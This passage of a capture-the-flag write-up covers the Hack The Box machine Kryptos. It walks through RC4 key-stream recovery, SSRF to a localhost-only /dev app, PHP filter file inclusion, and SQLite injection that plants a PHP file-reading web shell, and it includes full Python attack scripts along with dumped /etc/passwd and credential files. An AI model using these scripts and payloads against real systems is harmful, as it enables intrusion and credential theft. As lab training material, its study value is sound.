a558b6aa5a9199b1e951582476d4be86f30dae43e59580971e30acbd55fcbf55cf1abe8d94f6d6e52cebdae753ca0fd8f1de2301c5fc004389068f086a1166b87bd24230a84f94e467e3ff94bb49d37582e5a5e2397819a06a26271887b240c4124b614814590c281a57f7cab60fd9653b1fffccd12cdfdfdb5fd23ce51d7077a73a7f72d7a5ff6c79ffd52ef7389e75ffd6d4ce068c5e3c6b4ba45cf6f5c05944da9a28ecbcc17cc8f2b05ad44b981ec7ef98aba1c6df61b1e3f41634138ad0b78958b93e7d50972ed9c9bd4f7ff162640c175e3f1bc4b4e0a0bb59f3f31134fbd81794ae8115fdce3a1044b56f59a2236963980a86c5488517f2661dc29d810e8cbdf7ee9ec09c4f58e9d0cb44c0e2fb7847b8a0561c0fcf2fc7149e04db97b50ca3fd66bf3b89fdfc7bb4d0fb696f86ba194bcbda44f0e2d3378061daa740aa87a2b8020f21552ed4c817c485021ce720daf7a8758972ef51765480825f8ae1cc6d6d790b1af76f8029b63b5ec94f013519cec5b28b848e716106ffdfa99a8c82d52278d364f9c7f58262f7915fa75ce6ca1798314d39e4d4b2b22087df6b47d072ec20ba95b0bd0bd182687c33d6fbcaaaa714dec93957f427e50da2f9b9ed59d3549ceddafa4c0bb8405541380f885b08b3870a994995782b0b2f59c121d20b9a49ea256e5bf074614ed17e116c4d74b7fe3a116f7e6d0d044985d6f8430d0b4731e296d7bf91877f8989997e040adcddd73861bda31c3cc3fb003ccda38f7f09c9563e3e15aa9f747c018713901fdfc5e1efe2f741a36e1d513359679350f2f48dffcfbf2f848a0e882b651be81c0b1233ae83563ee3129b2eaec90a68e2d269eb1a6e8bdc2dc079f184bb373af97265aa2b3d58f5483757c51b54b7e14e6413e65a6baf6aaba1962effa2032e4fbeabaaed062c3c201776a7ef8a0faca0c2ca7f4d55ec18f8abe2ba9bdbe57210fccba1af02ce3f90405fd15b6cde15ed66546eed752ff885d68ff33dba1bc689b19cf94a798e46e4af4504c2ce83300e46467807791a8b3a954f47338e494ba822441044ffeb9fae1a113d05328fd91ba5e2b85107c73c5fa8b83bc1654715727328c8633293026e219cee618a3aaa97c6ea4930feccddf397023055e0d09c137d72bb9a22b198aa9a78ce0b6dfd7c7d787d92f4ecf1ddd7a3bd3596c1fd84712af6480dc71074ff441f1511944b96a65f8ff7bf947c01e75afcfa9917d8df0cef4aac22e68480d4c897fbb1ebf0b24fbe7e6c689ccf553699d1c20d609215a0d6fa8c02780160eae5303d71e674c7e6beab7d83713456c935c8f5a2ad19adb9c52e61e7679d5f07deda34480eda6b756491b2c43fd2062b1e3c575db82f6a45b45fb3fc28659b21192adfb6fd4625be17a9b59b3ed3652574141dd9cbec71bc7b93d0a3ab21d8dd98ac8d22e5825d0d81d39699485406d3de65d02f6d053e6f2b1066b77dd9cd899b97d09496617b85eabd2e0f631d0e4f8473174f05ae9418c4eb3348a25d9131f18df89996b9745df962cd0f6cf296edbdf820f370f2b71008b88eb36827e5088181da826cadd0dc78d2e6bac677ade7809eff6bc0a363fdbe4b145bea5af8eacf6ec31f568ea50236071ce2b49ebd7a41e568243e64eddd5d1a3fb9ac88cf03b808ec022f98033f0c0db18c8cbd2ddfed0832573d7d794a9682ddd9c812b6654a6b5dedab6ee2434a2cfe3a13a5d31bc7f7a80048727124d247833d0f592139bb08aeec8f21d2d9c227a6c52f0a1e395bed4c989b4831df1aad83e2dbde3cc6da51a8a4fa2b07224f3c7d05984e22f76fcb95b96471aff94ae9632dff5f0582739379b0424d29eb74d5a911db0e7bab140ec96ccc353f7c243356c0b5ad40446dcaf3dcd1b1bf2e4a93407781e8a762de0b8e8061b358a6240c67b416833b974458510bd41a36cff411759fb7e12f48d87f95d5cfd7e53548ad2ded6f91b210b78c92b246d264c6683a8970d8d0e8c66421ccc5ab012909d59fad3a947981276575d8e3f21d85be1d7f679f6015cab3967ef2285855aca9a9509136782231c258052f5278072b42f0f4cad11aabddc2c1e3a3195209d1ba5875853ef288095c681e9dfec12eb425ca6f510e3ad1f1fd1e900a8646834574ddcaf6db655642dadaa4f20e847afe768b2e13a992f0699a75b645869d985f23793987b990379db3c858ca4aa065797fc65c666df81d48d98f9baf2d4b445050d6ba20edc9a5397133df836e582e7c42b3de20520f85e980ff5aa27ad29fc02ae2e8e70bb7eea0d7ac1da026dcf04414f2e119700079e06c58874b050a8b155031f35c2f66c749254d6191f9b1b132f52ad8fc07ef9619f14c89dc3af7f65beb82092bf2eb1bebcfc6b448217ced7097076641c04ba71c09438a6633cb8a530716c66cf635d3c0df511f1671e1d25266c3deccfd06d40117d566d0246bac8e6179cc6ea73288abfbaeb9ff8d7cd66843f777ff96de03d2cfd48b7164f07e88254aac5fa2f767522936b61b72203f3dd79c385744a29c34e304376ac8f8be723e6a7671d9d8493e604a53d8bf03de2c78b3f3e522f44cc30564b8629737cf2cebf11ce4f24b87fd22a2fdb1d513c84fe74ba0043d6f89432122f6ad421da0882bec555e9599f3b1eac59e3e5bde32b5499c4fa54abad615554b34a2462d1aae1441061424706cc89e024a2fa1fc5a79932d2b1213b707b618c9a3eef2dd121f4a767234bb70b0e67edaa2c0f23c44181b4a941f9cb48ff45bbaa20a667effe37d0ebf313ebd0e90ff4ae68e7c21f269b08285a0afca0a6976f26f08d20e40f8a9fe200183b0e5acbf736614e9ede6e453ae978fabc92c6cb15e4dc08a970cc4b64c73905d7929283c470e33e6bbdcff31b50a778df4b06127ae5fc70a2d6c5399ad8c1114a6b7e4194f33027997c8391bc2f40e256e73525649936c74b39a7b61ab2d0facbbad48962df4df7d136659e1982c764e4f4570f9ee9fb65d6749edbbd8a53a4adc16e299a2186335c894c51290f8305cb9c9c6c22d484f9e648911ef3312fbc4e67b3b4e043c609b0cfd017865b8918aaaae507d32dfe3e85019de24889bad639775e54f5266d964e533e417c623e0419a51a056252ac5582efa5cc7e62cf7289b3b04a89c0442930eec99734fbf0309080d83e9248b2046d903bbd6dc9c366e533806feb28cd6da1a7a2bbfeba8c0ff2f2f20256033ad8a11b591794e526a890227a074a009ed6c6e52a247658d2abe136d7cc9a977426d2f7176fc9ea8bb6fb3a5d92b1ea91c2559678b1e0d71c08290d1c6b1b89f7f4079ad95800c49efc89066ca065f9b9bc3c822d83d1c135a56ffbd5e1a2e2bdd50314a57e25091d304a57f31a6b937ed6fa3d1af17f40760fcb26fb5c46d99dbf13814713bee7033f01046ba5425fa32bf1119ce904480fd0f5a0eeb184db558134f8cfe3c151eb6d601c8959c275432c4e90ecbb0595658f0cbe4b5a9eba066e7b057146e571d774e904dc5600b4ea0b03a1240b5667e32be323e92b371bf7fb087dae3570ddc7d9b4b3569c151635072606fe0f4220162eb5fa4c27950df47413a96192688257bda4fc6fa2451f24ccdc93db13e48068784d6a258144a4e6134ca504436708f88adfe22e201db4b22db73ee93adee2ff4209e755a6014717c3bb5a890e84cdf073e6967b345689751b26c4b8386516b0de7e91fa493f50e5e855795bd85caeb7a6bafb815c5824be48aa0c4f2a3d021fb10d966e68b5c8f3d1be996e6257d546a77cebe2e4481afced5ea67f4329893721dfd42bc62f8797c3ced7d4fe4dce8211c8fe5b6c9384c9962cdacfca33b8e2c15ffc581fc370248ab76b8192b57a50248572918b5afac2adf0f6f1148c552382c82b62a6eb4b7590fbb2e12b3a3161d12f9a50a85ebeb6adc294097bf022cc51e40921a544571d49e50cd5443cb2b83139112ee52acecad30c3a2f21a34709b2eda549cdea5abec0c377801fd5e66e889d68d674b8998c4ea8f2aca9cec3ec86c5a9d254eeb8d5a702b9d383d5785eccd87798b52d5d0e49c6bc33180a101c91c5562a687fc4d66296cede7a16ca814da6e823f3b727cec9d92c9956ab7e4171f1f62c9c6bbf0357be1dade24536432e575f2393165fc99a0a968dc11865a084c7f8e9890f58f618ab0ca32db56de46c9e018c9f2654fdaee731d8d0a5a742e4148e4176c0b4ad5460dea19c0d01915343c53d6e3ac6c482ccbfda6ee71ec88df244c7a317a6aeb1f230d083ca07b6b5f19d8b36856115aa6c45c9ce18654e8af08da0701f194d34ac2b455b453adb9c651a57d3b1c20a45ea38f8d9c73b1d99a1ca90e85d0e0ced37fce4589ce945e4c1d33120285d57da3ee0c2c1a03b7cb034ca1d63a28cd7b34374aca16c9d5753cd0caebcffb7f3ae52ad7299ca8d32f2fbe256995f55a0f66730f680fde79e499759848a30666f45a03926fdb77762e5f8ccd427bef0b80d0d913adaca1bb72ac553ceb443c8db5277a1e023193642230c243ab6b48226ddddcd514bec384d5945326c6e0fd24e4a36473ac9d4c9f6a10eeae1557e197ba3922354b1879cb8a133178843faf8067da7d58183599fc287c1034696064ba642ad6edb1cb825b2c40d48dc16afc65     
```

Now that the key stream has been extracted, it could now be used to decrypt files from within the webserver:

```python
# kryptos_decrypt.py
import requests as r

target = "http://10.10.10.129"
htb_ipv4 = "10.10.12.248"
session = r.Session()

def clearScreen(clear="clear"):
    __import__("os").system(clear)

def encodeURL(parameter_value):
    return __import__("urllib").parse.quote(parameter_value)

def encryptRC4(file_url):
    parameters = (("cipher", "RC4"), ("url", file_url))
    return session.get(target+"/encrypt.php", params=parameters)

def extractText(regex_filter, text):
    return __import__("re").findall(regex_filter, text)[0]

def decryptRC4(rc4_base64):
    print("\n[Decrypted RC4]\n")    
    if(rc4_base64):     
        rc4 = __import__("base64").b64decode(rc4_base64)
        key_stream = open("rc4_key_stream", "rb").read()
        return "".join([chr(rc4[x]^key_stream[x]) for x in range(0, len(rc4))])
    else: return "Nothing was decypted..."

clearScreen()

data = {
    "username": "placeholder",
    "password": "placeholder",
    "db": "cryptor;host="+htb_ipv4,
    "token": session.get(target).text[737:801],
    "login": ""
}
req_post = session.post(target, data=data)

while True:
    clearScreen()
    file_in = input("Load http:// pages/files: ")
    if(file_in==""): exit()

    req_encryption = encryptRC4(file_in)
    rc4_base64 = extractText('<text.*id="output">(.*)</text', req_encryption.text)
    if(rc4_base64): print(decryptRC4(rc4_base64))
    else:
        print("\n[ERROR]\n")
        print(extractText('alert-danger">\n(.*)</div>', req_encryption.text) + "\n")

    input("--Press Enter to continue--")
```

Using `kryptos_decrypt.py` to read the source code of `index.php`:

```markup
<html>
<head>
  <title>Cryptor Login</title>
  <link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
</head>
<body>
<div class="container-fluid">
<div class="container">
  <h2>Cryptor Login</h2>
  <form action="" method="post">
    <div class="form-group">
      <label for="Username">Username:</label>
      <input type="text" class="form-control" id="username" name="username" placeholder="Enter username">
    </div>
    <div class="form-group">
      <label for="password">Password:</label>
      <input type="password" class="form-control" id="password" name="password" placeholder="Enter password">
    </div>
    <input type="hidden" id="db" name="db" value="cryptor">
    <input type="hidden" name="token" value="93d6ee6db5642c0c60cdf701fddcdbc53cc4e501f3f94802c4e3b0dd93d6d797" />
    <button type="submit" class="btn btn-primary" name="login">Submit</button>
  </form>
</div>
</body>
</html>
```

Although `/index.php` was requested, a rendered html of the PHP file was returned after the decryption. Maybe the pages are being passed through `curl` inside `encrypt.php` or `url.php` (from the earlier gobuster enumeration)

### 3.4 SSRF to /dev

Using `kryptos_decrypt.py` to read the source code of `http://10.10.10.129/dev`:

```markup
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /dev
on this server.<br />
</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.10.10.129 Port 80</address>
</body></html>
```

Requesting `/dev` still returns `403 Forbidden` but since the http requests are being handled by the server, requesting the pages via `localhost` or `127.0.0.1` should return the same results when passed through `curl`. This time, requesting `http://127.0.0.1/dev` using `kryptos_decrypt.py`:

```markup
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://127.0.0.1/dev/">here</a>.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>
```

Following the redirection, there is another web application running:

```markup
<html>
    <head>
    </head>
    <body>
    <div class="menu">
        <a href="index.php">Main Page</a>
        <a href="index.php?view=about">About</a>
        <a href="index.php?view=todo">ToDo</a>
    </div>
</body>
</html>
```

The get parameter, `view`, is used to load page content  and the assumptions is that the pages are loaded with the extension (`.php`) truncated. Checking out `?view=todo`:

```markup
<html>
  <head>
  </head>
  <body>
  <div class="menu">
      <a href="index.php">Main Page</a>
      <a href="index.php?view=about">About</a>
      <a href="index.php?view=todo">ToDo</a>
  </div>
<h3>ToDo List:</h3>
1) Remove sqlite_test_page.php
<br>2) Remove world writable folder which was used for sqlite testing
<br>3) Do the needful
<h3> Done: </h3>
1) Restrict access to /dev
<br>2) Disable dangerous PHP functions

</body>
</html>
```

There is an `sqlite_test_page.php` but returns no relevant content when called via `?view=`. However, this might change if ***PHP filters*** are allowed. It is also important to note that the world writable directory should still exist somewhere since it is still in the `ToDo List`

### **3.5 Local File Inclusion (LFI)**

Using **PHP Filters** to read actual source code:

```python
# kryptos_read_php.py
import requests as r

target = "http://10.10.10.129"
htb_ipv4 = "10.10.12.248"
session = r.Session()

def clearScreen(clear="clear"):
    __import__("os").system(clear)

def encodeURL(parameter_value):
    return __import__("urllib").parse.quote(parameter_value)

def encryptRC4(file_url):
    parameters = (("cipher", "RC4"), ("url", file_url))
    return session.get(target+"/encrypt.php", params=parameters)

def extractText(regex_filter, text):
    return __import__("re").findall(regex_filter, text)[0]

def decryptRC4(rc4_base64):
    print("\n[Decrypted RC4]\n")    
    if(rc4_base64):     
        rc4 = __import__("base64").b64decode(rc4_base64)
        key_stream = open("rc4_key_stream", "rb").read()
        return "".join([chr(rc4[x]^key_stream[x]) for x in range(0, len(rc4))])
    else: return "Nothing was decypted..."

data = {
    "username": "placeholder",
    "password": "placeholder",
    "db": "cryptor;host="+htb_ipv4,
    "token": session.get(target).text[737:801],
    "login": ""
}
req_post = session.post(target, data=data)

while True:
    clearScreen()

    file_in = input("LFI for PHP Files (omit .php): ")
    if(file_in==""): exit()

    payload = "php://filter/convert.base64-encode/resource=" + file_in
    file_in = "http://127.0.0.1/dev/?view=" + payload

    req_encryption = encryptRC4(file_in)
    rc4_base64 = extractText('<text.*id="output">(.*)</text', req_encryption.text)
    if(rc4_base64): 
        lfi_content = extractText('</div>\n(.*)</body>', decryptRC4(rc4_base64))
        print(__import__("base64").b64decode(lfi_content).decode("unicode_escape"))

    input("--Press Enter to continue--")
```

Using `kryptos_read_php.py` to read `sqlite_test_page.php`:

```php
# LFI for PHP Files (omit .php): sqlite_test_page

# [Decrypted RC4]

<html>
<head></head>
<body>
<?php
$no_results = $_GET['no_results'];
$bookid = $_GET['bookid'];
$query = "SELECT * FROM books WHERE id=".$bookid;
if (isset($bookid)) {
   class MyDB extends SQLite3
   {
      function __construct()
      {
     // This folder is world writable - to be able to create/modify databases from PHP code
         $this->open('d9e28afcf0b274a5e0542abb67db0784/books.db');
      }
   }
   $db = new MyDB();
   if(!$db){
      echo $db->lastErrorMsg();
   } else {
      echo "Opened database successfully
";
   }
   echo "Query : ".$query."
";

if (isset($no_results)) {
   $ret = $db->exec($query);
   if($ret==FALSE)
    {
    echo "Error : ".$db->lastErrorMsg();
    }
}
else
{
   $ret = $db->query($query);
   while($row = $ret->fetchArray(SQLITE3_ASSOC) ){
      echo "Name = ". $row['name'] . "
";
   }
   if($ret==FALSE)
    {
    echo "Error : ".$db->lastErrorMsg();
    }
   $db->close();
}
}
?>
</body>
</html>

--Press Enter to continue--
```

`sqlite_test_page.php` takes two GET parameters -- `no_results` and `bookid`:

* `bookid` is fed to the query `"SELECT * FROM books WHERE id=".$bookid`
* If `no_results` is set with a value, the query is run using `$db->exec($query)`
* Otherwise, the query would run using `$db->query($query)`

{% hint style="info" %}
`$db->query($query)` return values from the database while `$db->exec($query)` doesn't so the earlier is often used for SELECT statements while the latter is used for CREATE, DELETE, DROP, INSERT, or UPDATE.&#x20;
{% endhint %}

Important to note as well that the world writable directory mentioned earlier must be `d9e28afcf0b274a5e0542abb67db0784/`. To abuse `sqlite_test_page.php`, create an SQLite3 Injection payload that will write a file into the directory:

```sql
   1; ATTACH DATABASE "d9e28afcf0b274a5e0542abb67db0784/lfi.php" AS fileview; CREATE TABLE fileview.code (php text); INSERT INTO fileview.code (php) VALUES ("<?php
   if(isset($_GET['file'])) {
       echo '\n\n[[['.file_get_contents($_GET['file']).']]]\n\n';
   }
   else if(isset($_GET['dir'])) {
       print_r(scandir($_GET['dir']));
   }
   ?>");
```

1\. `ATTACH DATABASE "d9e28afcf0b274a5e0542abb67db0784/lfi.php" AS fileview;`

* This creates a database file with a database named, `fileview`.
* This is written to a file named, `lfi.php` and if `it` doesn't exist, it will be created.

2\. `CREATE TABLE fileview.code (php text);`

* This creates a table, `code`, with one column (`php`)

3\. `INSERT INTO fileview.code (php) VALUES ("...omitted...");`

* This will write the code to be executed when `lfi.php` is called.

{% hint style="info" %}
According to `?view=todo`, dangerous PHP functions are prohibited:

* `exec()`, `shell_exec()`, and `system()` are prohibited.

Which is why the following functions were used:

* `file_get_contents()` read contents of a file while `scandrir()` returns a listing of the requested directory.
  {% endhint %}

Incorporating the SQLite payload to read arbitrary files in the server:

```python
# kryptos_lfi.py
import requests as r

target = "http://10.10.10.129"
htb_ipv4 = "10.10.12.248"
session = r.Session()

def clearScreen(clear="clear"):
    __import__("os").system(clear)

def encodeURL(parameter_value):
    return __import__("urllib").parse.quote(parameter_value)

def encryptRC4(file_url):
    parameters = (("cipher", "RC4"), ("url", file_url))
    return session.get(target+"/encrypt.php", params=parameters)

def extractText(regex_filter, text):
    return __import__("re").findall(regex_filter, text)[0]

def decryptRC4(rc4_base64):
    print("\n[Decrypted RC4]\n")    
    if(rc4_base64):     
        rc4 = __import__("base64").b64decode(rc4_base64)
        key_stream = open("rc4_key_stream", "rb").read()
        return "".join([chr(rc4[x]^key_stream[x]) for x in range(0, len(rc4))])
    else: return "Nothing was decypted..."

# HTTP Session
data = {
    "username": "placeholder",
    "password": "placeholder",
    "db": "cryptor;host="+htb_ipv4,
    "token": session.get(target).text[737:801],
    "login": ""
}
req_post = session.post(target, data=data)

# SQLite3 Injection Payload
output_file = "d9e28afcf0b274a5e0542abb67db0784/lfi.php"
database = "; ATTACH DATABASE \"" + output_file + "\" AS fileview"
table = "; CREATE TABLE fileview.code (php text)"
php_code = """<?php
if(isset($_GET['file'])) {
    echo '\n\n[[['.file_get_contents($_GET['file']).']]]\n\n';
}
else if(isset($_GET['dir'])) {
    print_r(scandir($_GET['dir']));
}
?>"""
table_value = "; INSERT INTO fileview.code (php) VALUES (\"" + php_code + "\");"

# Upload lfi.php to the world writable directory
injection = "1" + database + table + table_value
injectable = "http://127.0.0.1/dev/sqlite_test_page.php?no_results=1&bookid="
url_in = injectable + encodeURL(injection)
encryptRC4(url_in)

while True:
    clearScreen()

    file_in = "?file=" + encodeURL(input("View contents of: "))
    if(file_in=="?file="): 
        file_in = "?dir=" + encodeURL(input("View directory listing: "))
        if(file_in=="?dir="): exit()

    url_in = "http://127.0.0.1/dev/"+ output_file + file_in
    req_encryption = encryptRC4(url_in)

    rc4_base64 = extractText('<text.*id="output">(.*)</text', req_encryption.text)
    print(decryptRC4(rc4_base64))

    input("--Press Enter to continue--")
```

Contents of `/etc/passwd`:&#x20;

```bash
View contents of: /etc/passwd

[...omitted...]

root:x:0:0:root:/root:/bin/bash
[...omitted...]
rijndael:x:1001:1001:,,,:/home/rijndael:/bin/bash
[...omitted...]
```

Directory listing of `/home/rijndael`:

```
View contents of: 
View directory listing: /home/rijndael

[...omitted...]
(
    ...omitted...
    [9] => creds.old
    [10] => creds.txt
    [11] => kryptos
    [12] => user.txt
)

--Press Enter to continue--
```

Contents of `/home/rijndael/creds.old` (`[[[` and `]]]` are just markers to know where the file contents start and end):

```bash
View contents of: /home/rijndael/creds.old

[...omitted...]

[[[rijndael / Password1 ]]]

 --Press Enter to continue--
```

Contents of `/home/rijndael/creds.txt`:

```
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